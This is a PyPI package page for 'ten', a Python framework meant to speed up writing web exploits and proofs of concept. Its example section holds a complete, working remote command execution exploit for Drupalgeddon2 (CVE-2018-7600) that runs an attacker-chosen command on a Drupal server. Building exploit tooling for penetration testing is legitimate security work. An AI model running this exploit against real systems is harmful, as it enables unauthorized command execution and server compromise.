Skip to main content

A (small) web exploit framework

Project description

ten

My (small) web exploit framework. I got tired of writing standard code over and over again, so I made this. Makes code more concise, clearer, faster to write. Might be useful to you.

It helps with HTTP interactions, handling user input, providing clear output, handling files, and running shell commands.

Useful to build POCs, and convert them into full, documented exploits in a blink.

Documentation

Documentation is available here: https://cfreal.github.io/ten/.

It includes tutorials, quickstart guides, and the Python documentation.

Installation

Ten is available on PyPi.

$ pip install ten

Features

  • Input/output
    • Arguments to the main function are automatically mapped to argparse
      • They can hold a default value, get documented, etc.
    • Output is clear and readable
  • HTTP
    • Improves the standard requests API
    • Parse HTTP responses easily (regex, CSS selectors, forms)
    • Turn BURP on and off in a blink
    • Concurrency
    • Lots more.
  • Data conversion
    • Transform data: base64, hashing, query string, CSV, JSON, ...
    • Available as a tool: tf
  • ...

Example

Functional, fully documented Drupalgeddon2 exploit:

#!/usr/bin/env python3

from ten import *


@entry
@arg("url", "URL of the Drupal website to exploit")
@arg("command", "Command to run on the server. Defaults to `id`")
def main(url, command="id"):
    """Exploit for Drupalgeddon2 (CVE-2018-7600)."""

    session = ScopedSession(url)
    response = session.post(
        url,
        params={
            "q": "user/password",
            "name[#post_render][]": "passthru",
            "name[#markup]": command,
            "name[#type]": "markup",
        },
        data={"form_id": "user_pass", "_triggering_element_name": "name"},
    )
    try:
        form = response.form(id="user_pass")
    except FormNotFoundError:
        failure("Unable to find form in response")
    
    build_id = form["form_build_id"]
    response = session.post(
        url,
        params={
            "q": f"file/ajax/name/#value/{build_id}"
        },
        data={"form_build_id": build_id},
    )
    result = response.re.search(r"^(.*)\[{", flags=re.S)
    
    assume(result, "Unable to find command result in response")

    msg_success("Exploit done")
    msg_info("Command result:")

    msg_print(result.group(1))


main()

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

ten-0.1.6.tar.gz (44.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

ten-0.1.6-py3-none-any.whl (53.5 kB view details)

Uploaded Python 3

File details

Details for the file ten-0.1.6.tar.gz.

File metadata

  • Download URL: ten-0.1.6.tar.gz
  • Upload date:
  • Size: 44.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.4.2 CPython/3.10.9 Linux/5.15.0-130-generic

File hashes

Hashes for ten-0.1.6.tar.gz
Algorithm Hash digest
SHA256 b2b4ec782ef0367ccc6f045a7948671961d1b1b33502ac0b7bc9977da09e8801
MD5 3d67a01aead34abfaf1b7c5d44e9a60f
BLAKE2b-256 888e113806e8403359a8d7f8843013e083953009af5a80e412b1905cba7ddc38

See more details on using hashes here.

File details

Details for the file ten-0.1.6-py3-none-any.whl.

File metadata

  • Download URL: ten-0.1.6-py3-none-any.whl
  • Upload date:
  • Size: 53.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.4.2 CPython/3.10.9 Linux/5.15.0-130-generic

File hashes

Hashes for ten-0.1.6-py3-none-any.whl
Algorithm Hash digest
SHA256 4bdbf87074e8f6b2a46d5f6aa2ed4027ae049d4aa4632c6c6a48634a70911574
MD5 8180566240d9a7b41cba56e00059dfa0
BLAKE2b-256 b4990171b46e23221274e7d22aed08e9d7494a4572444954c1c17bad1ebe312e

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page